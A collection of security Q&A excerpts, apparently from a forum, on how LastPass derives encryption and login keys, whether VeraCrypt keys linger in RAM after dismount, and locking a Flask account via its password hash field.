when you log in, when you give your system your LastPass username and password, the first thing it does is it runs it through this SHA - it lowercases the email address, removes the whitespace, adds the password, and then it does this hash to it, turning it into a 256-bit blob

(Mandatory Attrition link)
This is the symmetric key used to encrypt your password database before it is sent to LastPass, and to decrypt the password database when retrieved the from LastPass servers.
So the key used never leaves your system.
Regarding authentication:

they take that key, the cryptographic key, and they add your password to it, that is, they concatenate your password to your cryptographic key, and they hash that. So they do another one-way function on your crypto key with your password, which they don't know because they never get it. But they get another blob
So this second blob, this second output from the hash, that's your unique ID. That is, the only way to get that is if you take your username and password, hash it, then add the password to that and hash it again. So it absolutely depends upon both of those pieces of information. So then your username and that goes to LastPass to identify you. And because that contains your password twice hashed into it, nobody who doesn't have your password, even if they have your email address, is able to produce that blob. So you have to have your email address and your password run through this hash twice to get that blob.
But notice that your cryptographic key, which is sort of the first byproduct of that because that's the output from the first hash, that goes into the second hash but is lost in the hashing process, thanks to it being mixed with your password. So the LastPass people never get your crypto key. They get a different unique token that identifies you to them so that you're able to log on securely to their facility. And these guys are so paranoid that they don't even save that on their servers. They don't even save that special logon blob, the output from that second hashing process.
Instead they, at the time you create your account, they come up with, they use a random number generator at their headquarters to create a unique 256-bit token which they save with your account. And whenever you're logging in, they take this 256 blob you're sending them that's the result of these two hashing processes. They add that to this unique 256k random number, and they hash that. And that's what they compare to what's stored with your account. Which is to say they never store that logon token. They store the result of hashing that logon token with a unique 256-bit value that they created for you. So they dynamically see if it's the same, but they never save your logon token. They just - they don't want it. They don't need it. So they're able to perform a dynamic check whenever you need to authenticate, but they don't keep it statically.

So to summarise the podcast your encryption key is:
DK = sha256("foo@example.com" + password)

(Note that LastPass state they use PBKDF2 over SHA-256).
Your effective authentication passkey is:
key = sha256(DK + password)

And they store this on their system only in salted hashed form with a 256 bit salt (the "random number").
stored_value = sha256(key + salt)

(assuming it is sha256 once again. This answer states this is PBKDF2 over HMAC-SHA256 with 100,000 rounds.)

they know how to decrypt it e.g. a court order could compel them to do so?

As they don't have the DK they can't decrypt your data. However, bear in mind that many countries have a key disclosure law which could compel you to hand over your LastPass password.


Veracrypt container dismounted... chances the master key still in RAM or that it can be decrypted by someone after some hours? Suppose a Veracrypt container was mounted and dismounted later. Then CCleaner was run, Youtube was used to watch videos, websites are browsed, and so on for 3 hours. Then computer went to sleep (hibernate and pagefile disabled). What are the chances that the container can be decrypted because of whatever is left (master keys?) in the RAM or some where else??
Veracrypt version is below 1.24.

I have not personally verified this but according to Veracrypt Sourceforge:

When the volume is dismounted, we securely wipe the encrypted master
keys from memory.

When Windows is shutdown or rebooted, we securely wipe the large
memory region that was allocated at startup.

My interpretation is that recovering the keys after dismount would be unlikely.


Is any plaintext stored as a password hash an effective way to lock out an account? I'm building a web app with Flask and I have user accounts that store their passwords in a MySQL String column using werkzeug.security's generate_password_hash() method. I wanted to create a Community user account (similar to StackExchange's) that is locked out from any log in. To do that I created an account and manually set the password_hash field in mysql to ***.

It seems to me that this would effectively lock out the account. Is there anything I can't think of that might leave this account vulnerable?

The hash is a sha-256.

Why not have an additional field for special users?  Don't rely on just the password to set your policy -- define your policy in an appropriate field.  Username/password is used to authenticate a user.  For authorization, build that into your model.